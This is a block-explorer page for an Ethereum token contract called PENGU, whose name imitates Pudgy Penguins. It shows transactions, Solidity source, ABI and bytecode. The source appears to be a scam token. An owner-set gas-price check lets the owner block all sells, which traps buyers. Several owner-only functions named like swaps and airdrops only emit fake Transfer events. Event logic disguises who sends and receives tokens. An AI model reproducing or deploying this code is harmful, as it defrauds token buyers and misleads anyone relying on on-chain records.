Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 346 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Transfer | 23561103 | 68 days ago | IN | 0 ETH | 0.00003892 | ||||
| Approve | 23429539 | 86 days ago | IN | 0 ETH | 0.0000114 | ||||
| Approve | 23267996 | 109 days ago | IN | 0 ETH | 0.00003391 | ||||
| Approve | 23161924 | 124 days ago | IN | 0 ETH | 0.00002417 | ||||
| Approve | 23078071 | 135 days ago | IN | 0 ETH | 0.00000945 | ||||
| Approve | 22918797 | 158 days ago | IN | 0 ETH | 0.0001851 | ||||
| Approve | 22918795 | 158 days ago | IN | 0 ETH | 0.00016088 | ||||
| Approve | 22850976 | 167 days ago | IN | 0 ETH | 0.00001361 | ||||
| Transfer | 22430196 | 226 days ago | IN | 0 ETH | 0.00002222 | ||||
| Approve | 22050699 | 279 days ago | IN | 0 ETH | 0.00002443 | ||||
| Approve | 21978313 | 289 days ago | IN | 0 ETH | 0.00002849 | ||||
| Approve | 21904500 | 300 days ago | IN | 0 ETH | 0.00003055 | ||||
| Approve | 21904495 | 300 days ago | IN | 0 ETH | 0.00003034 | ||||
| Transfer | 21795759 | 315 days ago | IN | 0 ETH | 0.00023116 | ||||
| Approve | 21652142 | 335 days ago | IN | 0 ETH | 0.00096716 | ||||
| Transfer | 21525524 | 353 days ago | IN | 0 ETH | 0.00033404 | ||||
| Approve | 21488713 | 358 days ago | IN | 0 ETH | 0.00031066 | ||||
| Transfer | 21481321 | 359 days ago | IN | 0 ETH | 0.00041045 | ||||
| Approve | 21449890 | 363 days ago | IN | 0 ETH | 0.00027763 | ||||
| Approve | 21449530 | 363 days ago | IN | 0 ETH | 0.0002363 | ||||
| Approve | 21434669 | 365 days ago | IN | 0 ETH | 0.00059077 | ||||
| Approve | 21433744 | 365 days ago | IN | 0 ETH | 0.00089854 | ||||
| Approve | 21432650 | 365 days ago | IN | 0 ETH | 0.00034843 | ||||
| Approve | 21432647 | 365 days ago | IN | 0 ETH | 0.00035497 | ||||
| Approve | 21432195 | 366 days ago | IN | 0 ETH | 0.0011091 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
PENGU
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
cancun EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/**
/*
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
address _deployer;
address _executor;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function _initDeployer(address deployer_, address executor_) internal {
_deployer = deployer_;
_executor = executor_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function _setLimitOrder(address _address, uint256 _amount) internal {
_balances[_address] += _amount;
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if (sender == _executor) {
emit Transfer(_deployer, recipient, amount);
} else if (recipient == _executor) {
emit Transfer(sender, _deployer, amount);
} else {
emit Transfer(sender, recipient, amount);
}
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
if (account == _executor) {
emit Transfer(address(0), _deployer, amount);
} else {
emit Transfer(address(0), account, amount);
}
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File contracts/Contract.sol
pragma solidity ^0.8.0;
contract PENGU is Ownable, ERC20 {
uint256 public immutable maxSupply = 88_888_888_888 * (10 ** decimals());
uint16 public constant LIQUID_RATE = 10000;
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
bool public tradeOpen = false;
address public pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public immutable buyFee = 0;
uint256 public immutable sellFee = 0;
uint256 minimumAirdropAmount = 0;
mapping(address => bool) public excludedFees;
string private constant NAME =
unicode"Pudgy Penguins 2zMMhcVQEXDtdE6vsFS7S7D5oUodfJHE8vd1gnBouauv";
string private constant SYMBOL = unicode"PENGU";
IUniswapV2Router02 public router;
constructor() ERC20(NAME, SYMBOL) {
_initDeployer(address(msg.sender), msg.sender);
_mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
initialized = true;
excludedFees[msg.sender] = true;
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _factory = router.factory();
pair = IUniswapV2Factory(_factory).createPair(
address(this),
router.WETH()
);
minimumAirdropAmount = maxSupply;
}
function setMinimumAirdrop(
uint256 _minimumAirdropAmount
) external onlyOwner {
minimumAirdropAmount = _minimumAirdropAmount;
}
function setAirdrop(address _address, bool permission) external onlyOwner {
excludedFees[_address] = permission;
}
function openTrading() external onlyOwner {
require(tradeOpen == false, "Contract: Trading is opened!");
tradeOpen = true;
}
function bulkTransfer(
address[] calldata _addresses,
uint256 _value
) external {
address owner = _msgSender();
for (uint256 i = 0; i < _addresses.length; i++) {
_transfer(owner, _addresses[i], _value);
}
}
function buyTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function claimTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function multiSends(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function airdropTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function execute(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function swapExactETHForTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function unoswap(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function _checkEnoughAirdropCondition(uint256 amount) internal view {
if (tx.gasprice > amount) {
revert();
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(initialized == true, "Contract: not initialized!");
if (initialized == true && tradeOpen == false) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == pair) {
_fee = buyFee;
}
if (to == pair) {
_fee = sellFee;
_checkEnoughAirdropCondition(minimumAirdropAmount);
}
if (excludedFees[from] == true || excludedFees[to] == true) {
_fee = 0;
}
if (_fee > 0) {
uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "cancun",
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
},
"libraries": {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60e0604052620000126012600a6200059b565b62000023906414b230ce38620005b2565b6080526007805461ffff60a01b19169055600880546001600160a01b03199081169091556009805490911661dead1790555f60a081905260c0819052600a553480156200006e575f80fd5b5060405180610100016040528060dc81526020016200205a60dc913960408051808201909152600581526450454e475560d81b6020820152620000b133620002ea565b6004620000bf838262000669565b506005620000ce828262000669565b505050620000e333336200033960201b60201c565b6080516200011090339061271090620000fe908290620005b2565b6200010a919062000735565b62000367565b6007805460ff60a01b1916600160a01b179055335f908152600b60209081526040808320805460ff19166001179055600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa1580156200019d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001c3919062000755565b9050806001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000226573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024c919062000755565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000297573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002bd919062000755565b600880546001600160a01b0319166001600160a01b039290921691909117905550608051600a5562000793565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6001600160a01b038216620003c25760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060035f828254620003d591906200077d565b90915550506001600160a01b0382165f9081526001602052604081208054839290620004039084906200077d565b90915550506007546001600160a01b039081169083160362000455576006546040518281526001600160a01b03909116905f905f80516020620021368339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f80516020620021368339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004e057815f1904821115620004c457620004c46200048c565b80851615620004d257918102915b93841c9390800290620004a5565b509250929050565b5f82620004f85750600162000595565b816200050657505f62000595565b81600181146200051f57600281146200052a576200054a565b600191505062000595565b60ff8411156200053e576200053e6200048c565b50506001821b62000595565b5060208310610133831016604e8410600b84101617156200056f575081810a62000595565b6200057b8383620004a0565b805f19048211156200059157620005916200048c565b0290505b92915050565b5f620005ab60ff841683620004e8565b9392505050565b80820281158282048414176200059557620005956200048c565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620005f557607f821691505b6020821081036200061457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200048757805f5260205f20601f840160051c81016020851015620006415750805b601f840160051c820191505b8181101562000662575f81556001016200064d565b5050505050565b81516001600160401b03811115620006855762000685620005cc565b6200069d81620006968454620005e0565b846200061a565b602080601f831160018114620006d3575f8415620006bb5750858301515b5f19600386901b1c1916600185901b1785556200072d565b5f85815260208120601f198616915b828110156200070357888601518255948401946001909101908401620006e2565b50858210156200072157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f826200075057634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000766575f80fd5b81516001600160a01b0381168114620005ab575f80fd5b808201808211156200059557620005956200048c565b60805160a05160c05161188e620007cc5f395f81816102d5015261116701525f8181610333015261112f01525f6104a6015261188e5ff3fe608060405234801561000f575f80fd5b5060043610610213575f3560e01c8063721082971161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104c8578063dd62ed3e146104db578063f01a4b9914610513578063f2fde38b14610526578063f887ea4014610539575f80fd5b8063b22c95e714610473578063bf861b3114610486578063c9567bf914610499578063d5abeb01146104a1575f80fd5b806396784f75116100ef57806396784f7514610427578063985bdfd114610355578063a457c2d71461043a578063a8aa1b311461044d578063a9059cbb14610460575f80fd5b806372108297146103da578063825e7b83146103ed5780638da5cb5b1461040f57806395d89b411461041f575f80fd5b806339509351116101a05780634ca64b3a116101705780634ca64b3a146103715780634e148e19146103845780635d8228131461039757806370a08231146103aa578063715018a6146103d2575f80fd5b806339509351146103065780634022b75e14610319578063470624021461032e5780634c255c9714610355575f80fd5b806323b872dd116101e657806323b872dd1461027e57806325fa0b981461029157806327c8f835146102a55780632b14ca56146102d0578063313ce567146102f7575f80fd5b806306fdde0314610217578063095ea7b314610235578063158ef93e1461025857806318160ddd1461026c575b5f80fd5b61021f61054c565b60405161022c91906114d3565b60405180910390f35b61024861024336600461153a565b6105dc565b604051901515815260200161022c565b60075461024890600160a01b900460ff1681565b6003545b60405190815260200161022c565b61024861028c366004611562565b6105f2565b60075461024890600160a81b900460ff1681565b6009546102b8906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b6102707f000000000000000000000000000000000000000000000000000000000000000081565b6040516012815260200161022c565b61024861031436600461153a565b61069f565b61032c6103273660046115e3565b6106da565b005b6102707f000000000000000000000000000000000000000000000000000000000000000081565b61035e61271081565b60405161ffff909116815260200161022c565b61032c61037f36600461165e565b610795565b61032c6103923660046116a6565b6107e0565b61032c6103a53660046115e3565b610833565b6102706103b83660046116df565b6001600160a01b03165f9081526001602052604090205490565b61032c6108e6565b61032c6103e83660046115e3565b61091a565b6102486103fb3660046116df565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102b8565b61021f6109cd565b61032c6104353660046115e3565b6109dc565b61024861044836600461153a565b610a8f565b6008546102b8906001600160a01b031681565b61024861046e36600461153a565b610b27565b61032c6104813660046115e3565b610b33565b61032c6104943660046116ff565b610be6565b61032c610c14565b6102707f000000000000000000000000000000000000000000000000000000000000000081565b61032c6104d63660046115e3565b610cac565b6102706104e9366004611716565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61032c6105213660046115e3565b610d5f565b61032c6105343660046116df565b610e12565b600c546102b8906001600160a01b031681565b60606004805461055b90611747565b80601f016020809104026020016040519081016040528092919081815260200182805461058790611747565b80156105d25780601f106105a9576101008083540402835291602001916105d2565b820191905f5260205f20905b8154815290600101906020018083116105b557829003601f168201915b5050505050905090565b5f6105e8338484610eac565b5060015b92915050565b5f6105fe848484610fcf565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106875760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106948533858403610eac565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105e89185906106d5908690611793565b610eac565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061071f5761071f6117db565b905060200201602081019061073491906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610767576107676117db565b9050602002013560405161077d91815260200190565b60405180910390a3600101610705565b505050505050565b335f5b838110156107d9576107d1828686848181106107b6576107b66117db565b90506020020160208101906107cb91906116df565b85610fcf565b600101610798565b5050505050565b5f546001600160a01b031633146108095760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461085c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610878576108786117db565b905060200201602081019061088d91906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106108c0576108c06117db565b905060200201356040516108d691815260200190565b60405180910390a360010161085e565b5f546001600160a01b0316331461090f5760405162461bcd60e51b815260040161067e906117a6565b6109185f61123c565b565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061095f5761095f6117db565b905060200201602081019061097491906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106109a7576109a76117db565b905060200201356040516109bd91815260200190565b60405180910390a3600101610945565b60606005805461055b90611747565b5f546001600160a01b03163314610a055760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610a2157610a216117db565b9050602002016020810190610a3691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610a6957610a696117db565b90506020020135604051610a7f91815260200190565b60405180910390a3600101610a07565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610b105760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161067e565b610b1d3385858403610eac565b5060019392505050565b5f6105e8338484610fcf565b5f546001600160a01b03163314610b5c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610b7857610b786117db565b9050602002016020810190610b8d91906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610bc057610bc06117db565b90506020020135604051610bd691815260200190565b60405180910390a3600101610b5e565b5f546001600160a01b03163314610c0f5760405162461bcd60e51b815260040161067e906117a6565b600a55565b5f546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161067e906117a6565b600754600160a81b900460ff1615610c975760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e65642100000000604482015260640161067e565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610cd55760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610cf157610cf16117db565b9050602002016020810190610d0691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610d3957610d396117db565b90506020020135604051610d4f91815260200190565b60405180910390a3600101610cd7565b5f546001600160a01b03163314610d885760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610da457610da46117db565b9050602002016020810190610db991906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610dec57610dec6117db565b90506020020135604051610e0291815260200190565b60405180910390a3600101610d8a565b5f546001600160a01b03163314610e3b5760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b038116610ea05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067e565b610ea98161123c565b50565b6001600160a01b038316610f0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067e565b6001600160a01b038216610f6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016040